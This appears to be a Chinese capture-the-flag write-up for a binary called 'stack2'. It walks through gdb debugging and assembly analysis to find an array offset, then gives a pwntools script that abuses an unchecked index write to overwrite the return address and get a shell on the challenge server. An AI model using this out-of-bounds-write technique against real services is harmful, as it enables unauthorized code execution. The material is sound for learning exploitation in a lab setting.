调试错误 | 忽视汇编代码
#@zer0_1s:调试0x0001
gdb ./stack2
disas main
b * 0x08048834 //new num scanf 输入7测试
b * 0x080488f2//ret
正确调试 | 汇编+源码分析
从下图可知:第一次Give me your number,v13[0]=v7,即有办法确定函数的首地址,
在0x080486BD处可以锁定scanf的位置
在call scanf之前先eax=&(ebp+var_88),栈地址压栈(指针入栈),只读字符串"%d"入栈,输入的数会由指针指向,*(ebp+var_88)=输入,经由eax=输入,ecx=输入,mov [eax],cl相当于[m]=cl=>eax:m->cl(输入),v13的首地址即是此时的eax.
gdb ./stack2
b *0x080486D5
b *0x080488f2
r
输入 1 1(分开的)
b *0x80486d7
偏移量0x84=132
本地跑的通,但是远程不行。
from pwn import *
#context.log_level = ‘debug‘
r = remote("220.249.52.133",56558)
#r = process("./stack2")
r.recvuntil("How many numbers you have:\n")
r.sendline("1")
r.recvuntil("Give me your numbers\n")
r.sendline("1")
def change(addr, num):
r.recvuntil("5. exit\n")
r.sendline("3")
r.recvuntil("which number to change:\n")
r.sendline(str(addr))
r.recvuntil("new number:\n")
r.sendline(str(num))
change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)
r.sendline("5")
r.interactive()